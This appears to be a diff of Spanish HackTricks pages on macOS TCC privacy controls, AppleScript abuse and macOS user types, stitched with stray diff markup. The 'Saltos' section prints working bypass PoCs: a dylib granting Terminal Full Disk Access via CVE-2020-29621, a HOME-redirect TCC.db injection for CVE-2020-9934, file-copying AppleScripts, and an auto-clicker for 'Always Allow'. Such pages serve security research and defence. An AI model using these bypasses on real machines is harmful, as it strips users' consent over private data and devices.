También es posible **conceder acceso a las aplicaciones** a archivos mediante **intenciones explícitas** de los usuarios, por ejemplo, cuando un usuario **arrastra y suelta un archivo en un programa** (obviamente, el programa debe tener acceso a él).
|
||||
|
||||
![Un ejemplo de una ventana emergente de TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC** es manejado por el **daemon** ubicado en `/System/Library/PrivateFrameworks/TCC.framework/Resources/tccd` configurado en `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando el servicio mach `com.apple.tccd.system`).
|
||||
|
||||
Hay un **tccd de modo de usuario** en ejecución por usuario conectado definido en `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando los servicios mach `com.apple.tccd` y `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Los permisos son **heredados del padre** de la aplicación y los **permisos** son **rastreados** en función del **ID de paquete** y del **ID de desarrollador**.
|
||||
|
||||
### Base de datos de TCC
|
||||
|
||||
Las selecciones se almacenan en la base de datos de TCC en todo el sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`** o en **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferencias por usuario. La base de datos está **protegida contra la edición con SIP** (Protección de Integridad del Sistema), pero se pueden leer otorgando **acceso completo al disco**.
|
||||
|
||||
{% hint style="info" %}
|
||||
La **interfaz de usuario del centro de notificaciones** puede hacer **cambios en la base de datos de TCC del sistema**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
[..]
|
||||
com.apple.private.tcc.manager
|
||||
com.apple.rootless.storage.TCC
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Sin embargo, los usuarios pueden **eliminar o consultar reglas** con la utilidad de línea de comandos **`tccutil`**.
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="user DB" %}
|
||||
```bash
|
||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
sqlite> .schema
|
||||
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
|
||||
# The table access contains the permissions per services
|
||||
sqlite> select service, client, auth_value, auth_reason from access;
|
||||
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
|
||||
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
|
||||
kTCCServiceMicrophone|us.zoom.xos|2|2
|
||||
[...]
|
||||
|
||||
# Check user approved permissions for telegram
|
||||
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
|
||||
# Check user denied permissions for telegram
|
||||
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="DB del sistema" %}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
sqlite> .schema
|
||||
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
|
||||
# The table access contains the permissions per services
|
||||
sqlite> select service, client, auth_value, auth_reason from access;
|
||||
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
|
||||
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
|
||||
kTCCServiceMicrophone|us.zoom.xos|2|2
|
||||
[...]
|
||||
|
||||
# Check user approved permissions for telegram
|
||||
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
|
||||
# Check user denied permissions for telegram
|
||||
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Al revisar ambas bases de datos, se pueden verificar los permisos que una aplicación ha permitido, ha prohibido o no tiene (solicitará permiso).
|
||||
{% endhint %}
|
||||
|
||||
* El **`auth_value`** puede tener diferentes valores: denegado(0), desconocido(1), permitido(2) o limitado(3).
|
||||
* El **`auth_reason`** puede tomar los siguientes valores: Error(1), Consentimiento del usuario(2), Establecido por el usuario(3), Establecido por el sistema(4), Política de servicio(5), Política de MDM(6), Política de anulación(7), Cadena de uso faltante(8), Tiempo de espera de la solicitud(9), Desconocido de pre-vuelo(10), Con derecho(11), Política de tipo de aplicación(12).
|
||||
* Para obtener más información sobre los **otros campos** de la tabla, [**consulte esta publicación de blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
{% hint style="info" %}
|
||||
Algunos permisos de TCC son: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... No hay una lista pública que defina todos ellos, pero puede consultar esta [**lista de los conocidos**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
{% endhint %}
|
||||
|
||||
También se pueden verificar los **permisos ya otorgados** a las aplicaciones en `Preferencias del sistema --> Seguridad y privacidad --> Privacidad --> Archivos y carpetas`.
|
||||
|
||||
### Verificación de firmas de TCC
|
||||
|
||||
La **base de datos** de TCC almacena el **ID de paquete** de la aplicación, pero también **almacena información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso sea la correcta.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram";
|
||||
#Get csreq
|
||||
|
||||
# From bash
|
||||
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
|
||||
## Get signature checks
|
||||
csreq -t -r /tmp/telegram_csreq.bin
|
||||
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entitlements
|
||||
|
||||
Las aplicaciones no solo necesitan solicitar y obtener acceso a algunos recursos, sino que también necesitan tener los permisos relevantes. Por ejemplo, Telegram tiene el permiso `com.apple.security.device.camera` para solicitar acceso a la cámara. Una aplicación que no tenga este permiso no podrá acceder a la cámara (y ni siquiera se le pedirá permiso al usuario).
|
||||
|
||||
Sin embargo, para que las aplicaciones accedan a ciertas carpetas de usuario, como `~/Desktop`, `~/Downloads` y `~/Documents`, no necesitan tener permisos específicos. El sistema manejará el acceso de manera transparente y solicitará permiso al usuario según sea necesario.
|
||||
|
||||
Las aplicaciones de Apple no generarán solicitudes. Contienen derechos preconcedidos en su lista de permisos, lo que significa que nunca generarán una ventana emergente ni aparecerán en ninguna de las bases de datos de TCC. Por ejemplo:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
<key>com.apple.private.tcc.allow</key>
|
||||
<array>
|
||||
<string>kTCCServiceReminders</string>
|
||||
<string>kTCCServiceCalendar</string>
|
||||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
Esto evitará que Calendar solicite al usuario acceso a recordatorios, calendario y la libreta de direcciones.
|
||||
|
||||
### Lugares sensibles sin protección
|
||||
|
||||
* $HOME (en sí mismo)
|
||||
* $HOME/.ssh, $HOME/.aws, etc
|
||||
* /tmp
|
||||
|
||||
### Intención del usuario / com.apple.macl
|
||||
|
||||
Como se mencionó anteriormente, es posible **conceder acceso a una aplicación a un archivo arrastrándolo y soltándolo sobre ella**. Este acceso no se especificará en ninguna base de datos de TCC, sino como un **atributo extendido del archivo**. Este atributo **almacenará el UUID** de la aplicación permitida:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
||||
# Check extra access to the file
|
||||
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
|
||||
macl_read Desktop/private.txt
|
||||
Filename,Header,App UUID
|
||||
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
|
||||
# Get the UUID of the app
|
||||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Es curioso que el atributo **`com.apple.macl`** sea gestionado por el **Sandbox**, no por tccd.
|
||||
{% endhint %}
|
||||
|
||||
El atributo extendido `com.apple.macl` **no se puede borrar** como otros atributos extendidos porque está **protegido por SIP**. Sin embargo, como [**se explica en esta publicación**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), es posible desactivarlo **comprimiendo** el archivo, **borrándolo** y **descomprimiéndolo**.
|
||||
|
||||
## Saltos
|
||||
|
||||
### Salto de escritura
|
||||
|
||||
Esto no es un salto, es simplemente cómo funciona TCC: **no protege de la escritura**. Si Terminal **no tiene acceso para leer el Escritorio de un usuario, aún puede escribir en él**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
username@hostname ~ % echo asd > Desktop/lalala
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso de lectura a la **aplicación creadora**.
|
||||
|
||||
### Bypass de SSH
|
||||
|
||||
Por defecto, un acceso a través de **SSH** tendrá **"Acceso completo al disco"**. Para desactivarlo, es necesario que esté en la lista pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
|
||||
|
||||
![](<../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
Aquí puedes encontrar ejemplos de cómo algunos **malwares han logrado evadir esta protección**:
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
### Bypass de Electron
|
||||
|
||||
El código JS de una aplicación de Electron no está firmado, por lo que un atacante podría mover la aplicación a una ubicación escribible, inyectar código JS malicioso y lanzar esa aplicación y abusar de los permisos de TCC.
|
||||
|
||||
Electron está trabajando en la clave **`ElectronAsarIntegrity`** en Info.plist que contendrá un hash del archivo app.asar para verificar la integridad del código JS antes de ejecutarlo.
|
||||
|
||||
### Scripts de Terminal
|
||||
|
||||
Es bastante común dar **Acceso completo al disco (FDA)** a la terminal, al menos en las computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con él.
|
||||
|
||||
Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>CommandString</key>
|
||||
<string>cp ~/Desktop/private.txt /tmp/;</string>
|
||||
<key>ProfileCurrentVersion</key>
|
||||
<real>2.0600000000000001</real>
|
||||
<key>RunCommandAsShell</key>
|
||||
<false/>
|
||||
<key>name</key>
|
||||
<string>exploit</string>
|
||||
<key>type</key>
|
||||
<string>Window Settings</string>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Una aplicación podría escribir un script de terminal en una ubicación como /tmp y lanzarlo con un comando como:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
NSString * exploit_location = @"/tmp/tcc.terminal";
|
||||
task.launchPath = @"/usr/bin/open";
|
||||
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
||||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
### kTCCServiceAppleEvents / Automatización
|
||||
|
||||
Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría ser capaz de **abusar de los permisos otorgados a otras aplicaciones**.
|
||||
|
||||
Para obtener más información sobre Apple Scripts, consulte:
|
||||
|
||||
{% content-ref url="macos-apple-scripts.md" %}
|
||||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Por ejemplo, si una aplicación tiene **permiso de automatización sobre `iTerm`**, como en este ejemplo **`Terminal`** tiene acceso sobre iTerm:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Sobre iTerm
|
||||
|
||||
Terminal, que no tiene FDA, puede llamar a iTerm, que sí lo tiene, y usarlo para realizar acciones:
|
||||
|
||||
{% code title="iterm.script" %}
|
||||
```applescript
|
||||
tell application "iTerm"
|
||||
activate
|
||||
tell current window
|
||||
create tab with default profile
|
||||
end tell
|
||||
tell current session of current window
|
||||
write text "cp ~/Desktop/private.txt /tmp"
|
||||
end tell
|
||||
end tell
|
||||
```
|
||||
{% endcode %} (No hay nada que traducir en esta línea, es solo una etiqueta de markdown)
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
#### Sobre Finder
|
||||
|
||||
O si una aplicación tiene acceso sobre Finder, podría ser un script como este:
|
||||
```applescript
|
||||
set a_user to do shell script "logname"
|
||||
tell application "Finder"
|
||||
set desc to path to home folder
|
||||
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
|
||||
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
|
||||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
### Abuso de Proceso
|
||||
|
||||
Si logras **inyectar código en un proceso**, podrás abusar de los permisos de TCC de ese proceso.
|
||||
|
||||
Revisa las técnicas de abuso de proceso en la siguiente página:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Mira algunos ejemplos en las siguientes secciones:
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
El binario **`/usr/sbin/coreaudiod`** tenía los permisos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permite la inyección de código** y el segundo le da acceso para **administrar TCC**.
|
||||
|
||||
Este binario permitía cargar **plug-ins de terceros** desde la carpeta `/Library/Audio/Plug-Ins/HAL`. Por lo tanto, era posible **cargar un plugin y abusar de los permisos de TCC** con este PoC:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
||||
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
|
||||
|
||||
void add_tcc_entry() {
|
||||
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
|
||||
|
||||
CFStringRef bundleID = CFSTR("com.apple.Terminal");
|
||||
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
|
||||
SecRequirementRef requirement = NULL;
|
||||
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
|
||||
CFDataRef requirementData = NULL;
|
||||
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
|
||||
|
||||
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
|
||||
}
|
||||
|
||||
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
|
||||
|
||||
add_tcc_entry();
|
||||
|
||||
NSLog(@"[+] Exploitation finished...");
|
||||
exit(0);
|
||||
```
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
El demonio **tccd** de usuario utiliza la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Según [esta publicación de Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el demonio TCC se ejecuta a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** que se le pasan.\
|
||||
Por lo tanto, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para que apunte a un **directorio controlado**, **reiniciar** el demonio **TCC** y luego **modificar directamente la base de datos de TCC** para otorgarse a sí mismo **todos los permisos de TCC disponibles** sin nunca solicitar al usuario final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
$> tccutil reset All
|
||||
# mimic TCC's directory structure from ~/Library
|
||||
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
|
||||
# cd into the new directory
|
||||
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
|
||||
# set launchd $HOME to this temporary directory
|
||||
$> launchctl setenv HOME /tmp/tccbypass
|
||||
# restart the TCC daemon
|
||||
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
|
||||
# print out contents of TCC database and then give Terminal access to Documents
|
||||
$> sqlite3 TCC.db .dump
|
||||
$> sqlite3 TCC.db "INSERT INTO access
|
||||
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
|
||||
'com.apple.Terminal', 0, 1, 1,
|
||||
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
|
||||
NULL,
|
||||
NULL,
|
||||
'UNUSED',
|
||||
NULL,
|
||||
NULL,
|
||||
1333333333333337);"
|
||||
# list Documents directory without prompting the end user
|
||||
$> ls ~/Documents
|
||||
```
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram tenía los permisos `com.apple.security.cs.allow-dyld-environment-variables` y `com.apple.security.cs.disable-library-validation`, por lo que era posible abusar de ellos para **obtener acceso a sus permisos**, como grabar con la cámara. Puedes [**encontrar el payload en el writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||
* [**https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,34 @@
|
|||
## Scripts de Apple en macOS
|
||||
|
||||
Es un lenguaje de scripting utilizado para la automatización de tareas **interactuando con procesos remotos**. Hace que sea bastante fácil **solicitar a otros procesos que realicen algunas acciones**. El **malware** puede abusar de estas características para abusar de las funciones exportadas por otros procesos.\
|
||||
Por ejemplo, un malware podría **inyectar código JS arbitrario en páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos solicitados al usuario.
|
||||
```
|
||||
tell window 1 of process “SecurityAgent”
|
||||
click button “Always Allow” of group 1
|
||||
end tell
|
||||
```
|
||||
Aquí tienes algunos ejemplos: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Encuentra más información sobre malware que utiliza AppleScripts [**aquí**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
|
||||
Los scripts de Apple pueden ser fácilmente "**compilados**". Estas versiones pueden ser fácilmente "**descompiladas**" con `osadecompile`.
|
||||
|
||||
Sin embargo, estos scripts también pueden ser **exportados como "Solo lectura"** (a través de la opción "Exportar..."):
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
file mal.scpt
|
||||
mal.scpt: AppleScript compiled
|
||||
```
|
||||
Sin embargo, todavía existen algunas herramientas que se pueden utilizar para entender este tipo de ejecutables, [lea esta investigación para obtener más información](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). La herramienta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt_decompile**](https://github.com/SentineLabs/aevt_decompile) será muy útil para entender cómo funciona el script.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,35 @@
|
|||
### Usuarios de macOS
|
||||
|
||||
* **Daemon**: Usuario reservado para demonios del sistema. Los nombres de cuenta de demonio predeterminados suelen comenzar con "\_":
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Guest**: Cuenta para invitados con permisos muy estrictos.
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Nobody**: Los procesos se ejecutan con este usuario cuando se requieren permisos mínimos.
|
||||
* **Root**
|
||||
|
||||
### Privilegios de usuario
|
||||
|
||||
* **Usuario estándar:** El usuario más básico. Este usuario necesita permisos otorgados por un usuario administrador al intentar instalar software o realizar otras tareas avanzadas. No pueden hacerlo por sí mismos.
|
||||
* **Usuario administrador**: Un usuario que opera la mayor parte del tiempo como un usuario estándar, pero también se le permite realizar acciones de root, como instalar software y otras tareas administrativas. Todos los usuarios que pertenecen al grupo de administradores tienen **acceso a root a través del archivo sudoers**.
|
||||
* **Root**: Root es un usuario permitido para realizar casi cualquier acción (existen limitaciones impuestas por protecciones como la Protección de Integridad del Sistema).
|
||||
* Por ejemplo, root no podrá colocar un archivo dentro de `/System`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
158
macos-hardening/macos-useful-commands.md
Normal file
158
macos-hardening/macos-useful-commands.md
Normal file
|
@ -0,0 +1,158 @@
|
|||
# Comandos Útiles de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
